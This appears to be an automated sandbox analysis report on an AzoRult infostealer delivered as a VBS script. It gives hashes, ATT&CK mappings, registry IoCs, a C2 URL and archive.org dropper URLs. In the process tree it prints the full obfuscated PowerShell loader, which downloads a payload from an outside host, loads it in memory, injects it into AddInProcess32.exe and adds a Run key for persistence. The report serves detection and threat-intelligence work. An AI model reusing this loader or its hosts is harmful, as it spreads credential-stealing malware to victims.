azorult | e5550d60a971336699ae2ddf5a88ef9ef0e2ac8d9bae8db9ebadf8e360ad3df1

General

Target

e5550d60a971336699ae2ddf5a88ef9ef0e2ac8d9bae8db9ebadf8e360ad3df1.vbs
Size

504KB
MD5

581a2142bc26026893bbdfab4e65f694
SHA1

e5b3a5977750cd34a69e908bf22893f153b9301f
SHA256

e5550d60a971336699ae2ddf5a88ef9ef0e2ac8d9bae8db9ebadf8e360ad3df1
SHA512

5f74d6b90e9791f7c403690126fdd4f0bfcfde9dcd099d1ef0adb72d8f94b89ed1e9f708eaf2e853da1a681cbf3695e0421191f52902870dfbcedad5b9ff8808
SSDEEP

12288:u9M/PycpcyDgDy8f1xLWFIZni8itFw9UPpVaElOOywO5lowt4sG50v8eKjDo6c5l:S0ifJtH

Score

10^/10

azorult discovery execution infostealer persistence trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

azorult

C2

http://mg5n.shop/ML341/index.php

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	2564	powershell.exe
30	2564	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2564	powershell.exe
708	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\araneografia.vbs"	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2564 set thread context of 2516	2564	powershell.exe	95

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
708	powershell.exe
708	powershell.exe
2564	powershell.exe
2564	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	708	powershell.exe
Token: SeDebugPrivilege	2564	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3672 wrote to memory of 708	3672	WScript.exe	82
PID 3672 wrote to memory of 708	3672	WScript.exe	82
PID 708 wrote to memory of 2564	708	powershell.exe	84
PID 708 wrote to memory of 2564	708	powershell.exe	84
PID 2564 wrote to memory of 2856	2564	powershell.exe	92
PID 2564 wrote to memory of 2856	2564	powershell.exe	92
PID 2564 wrote to memory of 2516	2564	powershell.exe	95
PID 2564 wrote to memory of 2516	2564	powershell.exe	95
PID 2564 wrote to memory of 2516	2564	powershell.exe	95
PID 2564 wrote to memory of 2516	2564	powershell.exe	95
PID 2564 wrote to memory of 2516	2564	powershell.exe	95
PID 2564 wrote to memory of 2516	2564	powershell.exe	95
PID 2564 wrote to memory of 2516	2564	powershell.exe	95
PID 2564 wrote to memory of 2516	2564	powershell.exe	95
PID 2564 wrote to memory of 2516	2564	powershell.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e5550d60a971336699ae2ddf5a88ef9ef0e2ac8d9bae8db9ebadf8e360ad3df1.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9JysndXJsID0nKycgeycrJzJ9aHQnKyd0JysncHM6JysnLycrJy8nKydpYTYwJysnMDEnKycwMC4nKyd1cy5hJysncicrJ2NoaXZlLicrJ29yZy8yNC8nKydpdGVtcy8nKydkZXRhaC1ub3RlLXYvRGV0YWhOb3QnKydlVi4nKyd0eHR7Mn0nKyc7eycrJzB9YmEnKydzZTY0QycrJ29udCcrJ2VuJysndCcrJyA9JysnIChOZScrJ3ctJysnTycrJ2InKydqZWN0JysnIFN5cycrJ3RlbS4nKydOZXQuV2ViQ2wnKydpJysnZW4nKyd0JysnKS4nKydEb3dubG8nKydhZFN0cicrJ2luZygnKyd7MH11JysncicrJ2wpJysnO3swfWJpJysnbmFyeUNvbnQnKydlJysnbnQgJysnPSAnKydbU3knKydzdCcrJ2UnKydtJysnLicrJ0NvbnZlcnQnKyddOicrJzpGcicrJ29tQmEnKydzZScrJzYnKyc0JysnU3QnKydyaW4nKydnKHswfScrJ2Jhc2U2JysnNENvJysnbnQnKydlbnQpJysnOycrJ3swfScrJ2EnKydzJysnc2VtJysnYmx5ID0gW1InKydlJysnZicrJ2xlYycrJ3RpJysnbycrJ24uJysnQScrJ3NzZW1ibHldOjpMb2FkKHswJysnfWJpbmFyeUNvbnRlbnQnKycpOycrJ3swJysnfXQnKyd5JysncGUgJysnPSB7MH1hcycrJ3NlJysnbWJseS5HJysnZScrJ3QnKydUeXBlKHsyJysnfVJ1blBFLicrJ0hvJysnbWV7Mn0nKycpJysnOycrJ3swfW1ldGhvJysnZCAnKyc9ICcrJ3swfXQnKyd5cGUuR2V0TScrJ2V0aCcrJ29kKHsyfVZBJysnSXsyfScrJyknKyc7eycrJzB9bWV0JysnaCcrJ29kLkludm9rZScrJyh7JysnMH1udWwnKydsLCAnKydbb2JqZWN0W10nKyddQCh7Mn0nKyc3NWViMjA5YzU0ZDYtY2E3JysnOCcrJy1hM2I0LTMnKyc1ZDctMDE3ZGJjJysnNWMnKyc9bmUnKydrJysnb3QmYScrJ2lkZScrJ209JysndCcrJ2wnKydhJysnP3QnKyd4dCcrJy5lJysnc2FiJysnL28nKycvbScrJ29jJysnLicrJ3RvcHNwJysncGEnKycuMycrJzJlMycrJzUnKycteXRpYy0nKydyZScrJ2J5Yy8nKydiJysnLycrJzB2L21vYy5zaXBhZWwnKydnb29nJysnLmVnJysnYScrJ3InKydvdHMnKydlJysnc2FiJysnZXJpJysnZicrJy8nKycvJysnOnMnKydwdHRoJysnezJ9ICwgJysnezJ9MXsyfScrJyAsJysnIHsyfUMnKyc6ezF9UCcrJ3InKydvZ3JhJysnbScrJ0QnKydhdCcrJ2F7MX17JysnMn0gLCcrJyB7JysnMicrJ31hcmFuZW9ncicrJ2FmaWF7JysnMn0sezJ9QWRkJysnSW5Qcm9jZScrJ3NzMzJ7Mn0nKycsezJ9eycrJzInKyd9KSknKSAgLUYgW0NIYXJdMzYsW0NIYXJdOTIsW0NIYXJdMzkpfCAmKCAkRW5WOmNvbXNQZWNbNCwyNCwyNV0tak9JbicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:708
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}'+'url ='+' {'+'2}ht'+'t'+'ps:'+'/'+'/'+'ia60'+'01'+'00.'+'us.a'+'r'+'chive.'+'org/24/'+'items/'+'detah-note-v/DetahNot'+'eV.'+'txt{2}'+';{'+'0}ba'+'se64C'+'ont'+'en'+'t'+' ='+' (Ne'+'w-'+'O'+'b'+'ject'+' Sys'+'tem.'+'Net.WebCl'+'i'+'en'+'t'+').'+'Downlo'+'adStr'+'ing('+'{0}u'+'r'+'l)'+';{0}bi'+'naryCont'+'e'+'nt '+'= '+'[Sy'+'st'+'e'+'m'+'.'+'Convert'+']:'+':Fr'+'omBa'+'se'+'6'+'4'+'St'+'rin'+'g({0}'+'base6'+'4Co'+'nt'+'ent)'+';'+'{0}'+'a'+'s'+'sem'+'bly = [R'+'e'+'f'+'lec'+'ti'+'o'+'n.'+'A'+'ssembly]::Load({0'+'}binaryContent'+');'+'{0'+'}t'+'y'+'pe '+'= {0}as'+'se'+'mbly.G'+'e'+'t'+'Type({2'+'}RunPE.'+'Ho'+'me{2}'+')'+';'+'{0}metho'+'d '+'= '+'{0}t'+'ype.GetM'+'eth'+'od({2}VA'+'I{2}'+')'+';{'+'0}met'+'h'+'od.Invoke'+'({'+'0}nul'+'l, '+'[object[]'+']@({2}'+'75eb209c54d6-ca7'+'8'+'-a3b4-3'+'5d7-017dbc'+'5c'+'=ne'+'k'+'ot&a'+'ide'+'m='+'t'+'l'+'a'+'?t'+'xt'+'.e'+'sab'+'/o'+'/m'+'oc'+'.'+'topsp'+'pa'+'.3'+'2e3'+'5'+'-ytic-'+'re'+'byc/'+'b'+'/'+'0v/moc.sipael'+'goog'+'.eg'+'a'+'r'+'ots'+'e'+'sab'+'eri'+'f'+'/'+'/'+':s'+'ptth'+'{2} , '+'{2}1{2}'+' ,'+' {2}C'+':{1}P'+'r'+'ogra'+'m'+'D'+'at'+'a{1}{'+'2} ,'+' {'+'2'+'}araneogr'+'afia{'+'2},{2}Add'+'InProce'+'ss32{2}'+',{2}{'+'2'+'}))') -F [CHar]36,[CHar]92,[CHar]39)| &( $EnV:comsPec[4,24,25]-jOIn'')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2564
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\araneografia.vbs"
      4⤵
      PID:2856
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0vtmgslh.5hx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/708-23-0x00007FFE65090000-0x00007FFE65B51000-memory.dmp

Filesize
10.8MB

Download
memory/708-12-0x00007FFE65090000-0x00007FFE65B51000-memory.dmp

Filesize
10.8MB

Download
memory/708-22-0x00007FFE65093000-0x00007FFE65095000-memory.dmp

Filesize
8KB

Download
memory/708-0-0x00007FFE65093000-0x00007FFE65095000-memory.dmp

Filesize
8KB

Download
memory/708-11-0x00007FFE65090000-0x00007FFE65B51000-memory.dmp

Filesize
10.8MB

Download
memory/708-1-0x0000025CBD7B0000-0x0000025CBD7D2000-memory.dmp

Filesize
136KB

Download
memory/708-33-0x00007FFE65090000-0x00007FFE65B51000-memory.dmp

Filesize
10.8MB

Download
memory/2516-26-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/2516-29-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/2564-24-0x000001FBEBE00000-0x000001FBEC00C000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads